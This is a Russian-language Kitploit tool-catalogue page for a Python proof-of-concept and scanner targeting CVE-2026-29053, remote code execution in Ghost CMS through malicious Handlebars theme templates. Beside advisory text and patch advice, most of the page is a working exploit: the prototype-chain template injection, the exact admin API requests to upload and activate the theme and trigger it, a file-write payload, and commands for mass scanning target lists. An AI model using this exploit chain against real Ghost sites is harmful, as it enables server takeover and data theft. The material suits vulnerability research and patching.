Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29053 — Python PoC и сканер версий для CVE-2026-29053 — аутентифицированного RCE в Ghost CMS ниже 6.19.1 через вредоносные шаблоны тем Handlebars. | Kitploit
Инструменты/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

Python PoC и сканер версий для CVE-2026-29053 — аутентифицированного RCE в Ghost CMS ниже 6.19.1 через вредоносные шаблоны тем Handlebars.

1215 часов назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-29053 — Ghost CMS < 6.19.0 — Аутентифицированное удалённое выполнение кода через вредоносную тему

CVE-2026-29053 затрагивает систему управления контентом Ghost, построенную на Node.js. Версии с 0.7.2 по 6.19.0 подвержены этой проблеме. Вредоносная тема может эксплуатировать эту уязвимость и выполнять произвольный код на сервере, на котором работает Ghost. Уровень серьёзности этой уязвимости — высокий, с оценкой CVSS 7.6. Эта проблема исправлена в версии 6.19.1. Злоумышленник, успешно эксплуатирующий эту уязвимость, может получить несанкционированный доступ к серверу и потенциально взять его под контроль. Затем он может использовать этот доступ для манипулирования данными, кражи конфиденциальной информации или совершения других вредоносных действий. Затронутые продукты/сервисы — все версии Ghost с 0.7.2 по 6.19.0. Чтобы снизить этот риск, пользователям следует как можно скорее обновить свои установки Ghost до версии 6.19.1 или более поздней. Это гарантирует, что уязвимость будет устранена и больше не будет представлять угрозу. Если обновление в данный момент невозможно, рекомендуется внимательно следить за любыми новыми событиями, связанными с этой уязвимостью, и применять необходимые меры безопасности для защиты от потенциальных атак. В настоящее время эта CVE не включена в каталог Known Exploited Vulnerabilities (KEV) CISA, что означает, что она не эксплуатировалась активно субъектами угроз. Однако пользователям всё равно следует в первую очередь обновить свои системы, чтобы предотвратить любые потенциальные риски, связанные с этой уязвимостью.

Python PoC для CVE-2026-29053 — уязвимости удалённого выполнения кода в Ghost CMS, вызванной специально созданными темами, способными выполнять произвольный JavaScript во время рендеринга шаблонов.

Затронуто: Ghost 0.7.2 — 6.19.0 Ghost CWE-74 — Ненадлежащая нейтрализация специальных элементов в выводе, используемом нижестоящим компонентом

Исправлено:
6.19.1
CWE:

В рекомендациях Ghost эта проблема описывается как выполнение произвольного кода через вредоносные темы.


В чём заключается уязвимость?

Темы Ghost используют шаблоны Handlebars (.hbs).

Специально созданный шаблон может злоупотребить тем, как Ghost обрабатывает выражения Handlebars, и получить доступ к функциональности JavaScript, которая не должна быть достижима из обычного шаблона темы.

Важная часть эксплойта — это выражение шаблона:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Полезная нагрузка вставляется в шаблон до того, как вредоносная тема будет упакована.

Полученный шаблон затем загружается и активируется через Ghost Admin API.

Когда Ghost впоследствии рендерит затронутый шаблон, внедрённое выражение вызывает выполнение полезной нагрузки JavaScript внутри процесса сервера Ghost.


PoC реализует каждый из этих этапов напрямую.

Аутентификация

Сначала PoC устанавливает аутентифицированную сессию Ghost Admin.

Соответствующая конечная точка:

root@kitploit:~
POST /ghost/api/admin/session/

Запрос, генерируемый PoC, эквивалентен:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost возвращает cookie аутентифицированной сессии.

PoC проверяет HTTP 201 и затем продолжает использовать тот же объект requests.Session().


Создание темы

Эксплойт создаёт ZIP-архив, содержащий минимальную тему Ghost.

Важные файлы:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

Вредоносный шаблон записывается в:

root@kitploit:~
page-rce.hbs

PoC полностью конструирует архив в памяти, используя модуль Python zipfile.

Сгенерированный package.json идентифицирует архив как тему Ghost:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Вредоносный шаблон

Уязвимая часть темы — это выражение Handlebars внутри page-rce.hbs.

PoC генерирует:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Полезная нагрузка подставляется в %PAYLOAD% до того, как тема будет сжата.

Полезная нагрузка

По умолчанию PoC использует полезную нагрузку записи в файл как неразрушающее доказательство выполнения кода.

Он генерирует JavaScript, эквивалентный:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

Это демонстрирует, что полезная нагрузка выполняется внутри процесса Ghost Node.js и может получить доступ к функциональности Node.js.

PoC также содержит опциональный режим обратного вызова для лабораторных сред.


Загрузка темы

После того как вредоносная тема сгенерирована, PoC отправляет её на:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

Запрос представляет собой загрузку multipart-формы.

Концептуально:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

Архив содержит вредоносный шаблон .hbs, описанный выше.

PoC ожидает HTTP 200 и извлекает возвращённое имя темы из JSON-ответа.


Активация темы

После загрузки темы PoC активирует её с помощью:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Конечная точка активации конструируется динамически:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

Эксплойт останавливается, если Ghost не возвращает HTTP 200.


Запуск шаблона

Затем PoC создаёт опубликованную страницу:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

Код использует slug:

root@kitploit:~
/rce/

Если страница уже существует, он пытается получить существующую страницу вместо этого.

Финальный триггер — это просто:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

Это заставляет Ghost отрендерить активную тему.

PoC проверяет возвращённый HTML на наличие:

root@kitploit:~
CVE-2026-29053 trigger

чтобы подтвердить, что page-rce.hbs был отрендерен.


Почему это приводит к RCE

Важное отличие в том, что злоумышленник не просто внедряет HTML в страницу.

Вредоносный ввод становится частью шаблона темы Ghost Handlebars.

Шаблон впоследствии интерпретируется системой серверного рендеринга Ghost.

Созданное выражение достигает функциональности JavaScript через цепочку прототипа/конструктора:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
контролируемый злоумышленником JavaScript

Полученный JavaScript выполняется в процессе сервера Ghost.

PoC демонстрирует это, получая доступ к встроенному модулю Node fs и записывая файл на сервере.


Поток сырых запросов

Собирая HTTP-взаимодействие вместе:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── аутентификация

2. POST /ghost/api/admin/themes/upload/
   └── загрузка malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── активация вредоносной темы

4. POST /ghost/api/admin/pages/
   └── создание /rce/

5. GET /rce/
   └── рендеринг вредоносного page-rce.hbs
       └── выражение Handlebars
           └── выполнение JavaScript
               └── воздействие на уровне ОС

Проверка версии

PoC также содержит сканер.

Он запрашивает:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

Ответ анализируется на наличие:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

Затем PoC сравнивает версию с:

root@kitploit:~
0.7.2 <= version <= 6.19.0

и сообщает о совпадающих версиях как об уязвимых.

Опубликованное уведомление указывает затронутый диапазон как >= 0.7.2, < 6.19.1, с 6.19.1 в качестве исправленной версии.


Использование PoC

Доказательство записи в файл

root@kitploit:~
python3 exploit.py --target http://TARGET

Путь доказательства по умолчанию:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

Его можно изменить с помощью:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Существующая установка

Если настройка Ghost уже завершена:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

Учётные данные можно указать с помощью:

root@kitploit:~
--email
--password

Сканер

Цели можно указать из файла:

root@kitploit:~
python3 exploit.py --file targets.txt

Количество потоков:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

Сканер проверяет конечную точку Ghost Admin site и сравнивает сообщённую версию Ghost с уязвимым диапазоном.


Воздействие

Успешная эксплуатация позволяет выполнять произвольный JavaScript внутри процесса сервера Ghost.

В зависимости от привилегий процесса Ghost и используемой полезной нагрузки это может затронуть:

  • Конфиденциальность
  • Целостность
  • Доступность

Опубликованная запись CVE оценивает проблему как достижимую по сети, но требующую высоких привилегий и взаимодействия с пользователем, с изменённой областью действия.


Устранение

Обновите Ghost до:

root@kitploit:~
6.19.1+

В рекомендациях по уязвимости Ghost указана 6.19.1 как исправленная версия.

Не устанавливайте недоверенные темы.


Отказ от ответственности

Этот PoC предоставлен для исследования уязвимостей, авторизованного тестирования на проникновение и образовательных целей.

Скачать инструмент